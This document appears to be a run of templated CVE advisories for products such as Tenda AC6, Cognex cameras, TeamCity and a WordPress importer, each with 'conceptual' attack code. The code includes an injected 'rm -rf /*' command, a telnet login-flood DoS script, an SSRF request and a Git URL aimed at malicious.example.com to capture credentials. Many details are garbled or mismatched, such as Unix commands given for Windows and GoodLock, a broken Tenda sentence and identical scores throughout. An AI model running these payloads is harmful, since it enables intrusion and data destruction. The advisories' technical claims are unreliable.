Author: Ameeba

Overview

The vulnerability identified as CVE-2025-5962 poses a significant risk to users of the Lightspeed history service. The flaw allows an unprivileged user on the same system to access and manipulate another user’s chat history, including viewing, deleting, or injecting arbitrary history entries. This can lead to potential system compromise or data leakage, as the attacker can deceive the user into executing harmful actions.

Vulnerability Summary

CVE ID: CVE-2025-5962
Severity: High (7.7 CVSS score)
Attack Vector: Local
Privileges Required: None
User Interaction: Required
Impact: Possible system compromise, data leakage, and unauthorized command execution

Affected Products

Product | Affected Versions

Lightspeed Chat Service | All versions prior to patch

How the Exploit Works

The exploit works by abusing inter-process communication calls to the history service of Lightspeed. The flaw in access controls allows a local, unprivileged user to manipulate chat history, including viewing, deleting, or injecting arbitrary history entries. The attacker can then deceive the user into executing harmful commands or actions.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

# Connect to local history service
connect_to_service("local://lightspeed-history-service")
# Get chat history of user
history = get_history("target_user")
# Inject malicious command into history
inject_to_history("target_user", "rm -rf /*")

Please note that this is a conceptual example and the actual exploit may vary depending on the system configuration.

Mitigation

The vendor has released a patch to address this vulnerability. Users should apply this patch as soon as possible to mitigate the risk. As a temporary measure, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and prevent attempts to exploit this vulnerability.

Overview

The CVE-2025-59344 vulnerability is a significant cybersecurity concern for all users of AliasVault API versions 0.23.0 and lower. The flaw lies in the server-side request forgery (SSRF) within the favicon extraction feature. This vulnerability can potentially lead to system compromise or data leakage, underlining its critical nature.

Vulnerability Summary

CVE ID: CVE-2025-59344
Severity: High (7.7 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

AliasVault API | 0.23.0 and lower

How the Exploit Works

The exploitation of this vulnerability requires a low-privilege user to submit a URL to the favicon extraction feature. Although the initial URL goes through validation, the extractor complies with redirects and is unable to block requests to loopback or internal IP ranges. An attacker can use this to force the backend into making HTTP(S) requests to arbitrary internal hosts and non-default ports. The response, if the target host serves a favicon or any other valid image, is returned to the attacker in Base64 form. Even without returned data, timing and error behavior can be exploited to map internal services.

Conceptual Example Code

This is a conceptual example of an HTTP request that could exploit the vulnerability:

POST /favicon_extractor HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "url": "http://internal-host:non_default_port" }

This request would cause the backend to fetch the favicon from an internal host on a non-default port, potentially revealing sensitive data or mapping internal services.

Overview

A serious vulnerability, CVE-2025-57528, has been discovered in Tenda AC6 US_AC6V1.0BR_V15.03.05.16_multi_TD01. This vulnerability can allow attackers to cause a denial of service to the system, potentially leading to system compromise or data leakage. This issue poses a significant threat to the integrity and availability of systems running the affected software.

Vulnerability Summary

CVE ID: CVE-2025-57528
Severity: High (CVSS: 7.7)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage, and denial of service

Affected Products

Product | Affected Versions

Tenda AC6 | US_AC6V1.0BR_V15.03.05.16_multi_TD01

How the Exploit Works

The vulnerability lies in the formSetCfm function of the Tenda AC6 router software. The function improperly handles input given via the funcname, funcpara1, and funcpara2 parameters. If an attacker can manipulate these parameters with malicious input, they can cause a denial of service to the system.

Conceptual Example Code

The conceptual example below demonstrates how an attacker might exploit this vulnerability using an HTTP request:

POST /SetCfm HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
funcname=<malicious_input>&funcpara1=<malicious_input>&funcpara2=<malicious_input>

In this example, `` would be replaced with the attacker’s crafted data designed to exploit the vulnerability and cause a denial of service.

Mitigation

Users are urged to apply the vendor patch as soon as possible to mitigate this vulnerability. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary protection.

Overview

The vulnerability, CVE-2025-54860, is a critical flaw that affects the Cognex In-Sight Explorer and In-Sight Camera Firmware. The vulnerability can allow potential attackers to perform a Denial-of-Service (DoS) attack on the system. This vulnerability is significant as it leaves the telnet service in an unreachable state, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-54860
Severity: High, CVSS Score: 7.7
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Denial of service, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

Cognex In-Sight Explorer | All prior versions
Cognex In-Sight Camera Firmware | All prior versions

How the Exploit Works

The vulnerability exists due to improper management of login failures on a telnet-based service on port 23. An attacker could exploit this vulnerability by repeatedly attempting to authenticate to the telnet service. After a certain number of failed attempts, the telnet service enters an unreachable state, effectively causing a Denial-of-Service (DoS) attack. This vulnerability could potentially lead to unauthorized access or data leakage.

Conceptual Example Code

A conceptual example of this exploit may involve the use of a script that repeatedly attempts to authenticate to the telnet service on the target device. The script might look something like this:

#!/bin/bash
HOST='targetdevice'
USER='admin'
PASS='wrongpassword'
for i in {1..1000}
do
echo "Attempt: $i"
telnet $HOST 23 << EOF
user $USER $PASS
quit
EOF
done

This script repeatedly sends incorrect login attempts to the telnet service, triggering the vulnerability and causing the service to become unreachable.

Mitigation Guidance

The best course of action to mitigate this vulnerability is to apply the vendor patch when it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation. These tools can help detect and prevent unauthorized access attempts to the telnet service.

Overview

The vulnerability identified as CVE-2025-53947 is a serious security flaw that affects Windows systems. It allows low-privileged local attackers to exploit this vulnerability and corrupt sensitive data, leading to a potential system compromise or data leakage. The gravity of this vulnerability escalates considering the potential impact it can have on user data and system integrity.

Vulnerability Summary

CVE ID: CVE-2025-53947
Severity: High (7.7 CVSS Score)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Windows | All versions up to the date of the report

How the Exploit Works

The vulnerability arises from a data folder created with very weak privileges. This design flaw allows any user logged into the Windows system to modify its content. An attacker with low privileges can exploit this vulnerability by altering or corrupting the data within this folder, leading to compromised system integrity or potential data leakage.

Conceptual Example Code

An example of how this vulnerability might be exploited could involve a simple command line script to modify the contents of the data folder. A conceptual example might look like this:

# This is a conceptual example, not actual exploit code
cd /path/to/data/folder
echo "corrupted data" > sensitive_file.txt

Please note that this is a generalized and hypothetical example. The actual exploit would be contingent upon the specific configuration and state of the vulnerable system.

Mitigation Guidance

To mitigate this vulnerability, it is recommended to apply the vendor patch once it becomes available. As a temporary mitigation measure, use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor any suspicious activities in the system. Moreover, it is advised to limit user privileges and regularly audit your system for any unauthorized changes.

Overview

This report provides an in-depth analysis of the CVE-2025-59457 vulnerability, a significant cyber threat identified in JetBrains TeamCity versions prior to 2025.07.2. The vulnerability specifically affects Windows users and has the potential to lead to system compromise or data leakage. It is critical due to the risk it presents, allowing unauthorized actors to gain access to confidential credentials.

Vulnerability Summary

CVE ID: CVE-2025-59457
Severity: High (7.7 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Credential leakage leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

JetBrains TeamCity | Before 2025.07.2

How the Exploit Works

The vulnerability originates from an absence of Git URL validation in JetBrains TeamCity. An attacker could manipulate Git URLs to redirect requests to a malicious server. Due to the lack of validation, the system would treat this as a legitimate request, thus sending the user’s credentials to the attacker’s server, leading to unauthorized access and potential data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability could be exploited, in this case by sending a manipulated Git URL request:

POST /git/clone HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"git_url": "http://malicious.example.com/evil-repo.git"
}

This request would cause the system to clone from the malicious repository, in the process sending user credentials to the attacker’s server.

Mitigation Guidance

To mitigate the risks associated with this vulnerability, users are recommended to apply the vendor’s patch. JetBrains has released a patch in the version 2025.07.2, which addresses this vulnerability. In the absence of an immediate patch application, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy. However, these should not be considered long-term solutions. Regular patching and system updates remain the most effective way to secure systems against known vulnerabilities.

Overview

The vulnerability CVE-2025-59363 is a critical security flaw found in the One Identity OneLogin system. This flaw affects versions prior to 2025.3.0, making it possible for potential attackers to potentially gain unauthorized access to OIDC client secrets. This can lead to system compromise and data leakage, posing a significant threat to the privacy and integrity of sensitive information.

Vulnerability Summary

CVE ID: CVE-2025-59363
Severity: High (7.7)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

One Identity OneLogin | Before 2025.3.0

How the Exploit Works

The vulnerability is due to the inappropriate handling of OIDC client secrets by the GET Apps API v2 in One Identity OneLogin. Instead of returning this secret only when an App is first created, the system returns it with every request. This exposes the OIDC client secret to unauthorized viewers, potentially allowing them to gain unauthorized access to the system.

Conceptual Example Code

Below is a conceptual example of a simple HTTP GET request to exploit this vulnerability:

GET /api/v2/apps HTTP/1.1
Host: target.onelogin.com
Authorization: Bearer <access_token>

The response in a vulnerable system will include the OIDC client secret:

HTTP/1.1 200 OK
Content-Type: application/json
{
"apps": [
{
"id": 12345,
"name": "Vulnerable app",
"oidc_client_secret": "exposed_secret"
}
]
}

Mitigation Guidance

To mitigate this vulnerability, affected users are advised to apply the latest patch provided by the vendor. In the absence of a patch, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. Nevertheless, applying the vendor’s patch is the recommended and most thorough solution.

Overview

This report discusses CVE-2025-10040, a severe vulnerability affecting the WP Import – Ultimate CSV XML Importer for WordPress plugin. The vulnerability allows authenticated attackers with Subscriber-level access to retrieve a configured set of SFTP/FTP credentials, leading to potential system compromise or data leakage. It is critical for organizations implementing this plugin to understand and mitigate this issue promptly.

Vulnerability Summary

CVE ID: CVE-2025-10040
Severity: High (CVSS: 7.7)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Potential system compromise, data leakage

Affected Products

Product | Affected Versions

WP Import – Ultimate CSV XML Importer for WordPress | Up to and including 7.27

How the Exploit Works

The vulnerability arises from a missing capability check on the ‘get_ftp_details’ AJAX action in the affected plugin. This omission allows authenticated users with Subscriber-level privileges to initiate a network-based attack, making an AJAX call to the ‘get_ftp_details’ endpoint and successfully retrieving a configured set of SFTP/FTP credentials. This unauthorized access can potentially lead to system compromise or data leakage.

Conceptual Example Code

This is a conceptual example of how the vulnerability might be exploited using an AJAX call:

POST /wp-admin/admin-ajax.php?action=get_ftp_details HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_[hash]=username|expiry_date|session_token

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the vendor-provided patch. If a patch is not immediately available or implementable, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. This would help monitor and possibly block suspicious activity related to this exploit.

Overview

This report highlights the critical vulnerability, CVE-2025-54248, found in Adobe Experience Manager versions 6.5.23.0 and earlier. The vulnerability, classified as an Improper Input Validation, could potentially lead to a security feature bypass, allowing unauthorized access to data. Considering the widespread use of Adobe Experience Manager, this vulnerability could have far-reaching implications and needs to be addressed promptly.

Vulnerability Summary

CVE ID: CVE-2025-54248
Severity: High (7.7/10)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Unauthorized access to data, potential system compromise, data leakage

Affected Products

Product | Affected Versions

Adobe Experience Manager | 6.5.23.0 and earlier

How the Exploit Works

The vulnerability lies in the improper input validation mechanism in Adobe Experience Manager. An attacker could exploit this by sending specially crafted requests to the server, which due to the improper validation, could allow the attacker to bypass security measures. This could result in unauthorized access to data and potentially compromise the system.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability could be exploited using a HTTP request:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "<payload exploiting input validation>" }

In this example, the malicious_payload is sent to a vulnerable endpoint, exploiting the improper input validation mechanism and potentially allowing the attacker to bypass security measures and gain unauthorized access.

Mitigation Guidance

To mitigate this vulnerability, Adobe has released a patch for the affected versions of Adobe Experience Manager. It is highly recommended to apply this patch as soon as possible. In the interim, use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer temporary mitigation.

Overview

A significant vulnerability has been identified in GoodLock, a widely used software application. The vulnerability, tagged as CVE-2024-34598, could allow local attackers to install arbitrary applications from Galaxy Store. This vulnerability affects all versions of GoodLock prior to 2.2.04.95 and poses a serious threat to data security, as it potentially leads to system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2024-34598
Severity: High (7.7 CVSS score)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: Successful exploitation could lead to system compromise and potential data leakage.

Affected Products

Product | Affected Versions

GoodLock | All versions prior to 2.2.04.95

How the Exploit Works

The vulnerability stems from an improper export of a component in GoodLock, which allows local attackers to install arbitrary applications from Galaxy Store. This could be achieved by utilizing a specially crafted request or manipulation of certain system settings. The attacker could then potentially gain unauthorized access to sensitive data or even take control of the system.

Conceptual Example Code

This is a conceptual example and does not represent an actual exploit. The idea here is to illustrate the potential way an attacker might exploit this vulnerability:

# Attacker uses local access to manipulate system settings
$ echo 'export PATH=/path/to/malicious/app:$PATH' >> ~/.bashrc
# Attacker installs arbitrary application from Galaxy Store
$ galaxy-store install arbitrary_app

Countermeasures and Mitigation

Users are strongly advised to update their GoodLock software to version 2.2.04.95 or later to mitigate this vulnerability. If unable to update immediately, users may employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. Regular audits and penetration testing can also help to identify and fix any potential vulnerabilities.